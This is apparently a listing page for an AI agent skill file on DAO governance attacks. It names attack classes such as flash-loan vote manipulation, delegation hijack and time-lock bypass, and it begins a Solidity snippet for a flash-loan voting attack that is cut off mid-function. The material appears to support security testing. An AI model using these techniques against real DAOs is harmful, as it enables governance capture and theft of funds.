Individual skill
contracts-governance-attack
DAO governance attack — flash-loan-backed vote manipulation, delegation hijack, quorum dilution, proposal-spam DoS, time-lock bypass via emergency multisig, snapshot vs. on-chain vote desync, Compound/Aave/Uniswap-style GovernorBravo abuse.
packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md
Source commit cc6044561ff32188dc0aa899bcc7d3666ffcfd1c
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- Network or broad shell
- Last checked
- Nov 2, 2026
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- Repository last updated
- Nov 7, 2026
- License
- Apache-2.0
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- agent Repository topic
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- pentesting Repository topic
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- defi,-dao,-governance,-flash-loan Declared skill tag
- engineering Derived category
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# DAO Governance Attack
## Attack classes
### 1. Flash-loan-backed vote
DAOs that grant voting power = current token balance (not snapshot of past balance) are vulnerable:
```solidity
// Attack: borrow governance token, vote, return loan, all in one tx
function attack() external {
// 1. Flash-borrow gov tokens
IFlashLoan(aave).flashLoan(address(this), govToken, 1_000_000e18, "");
}
function executeOperation(...) external {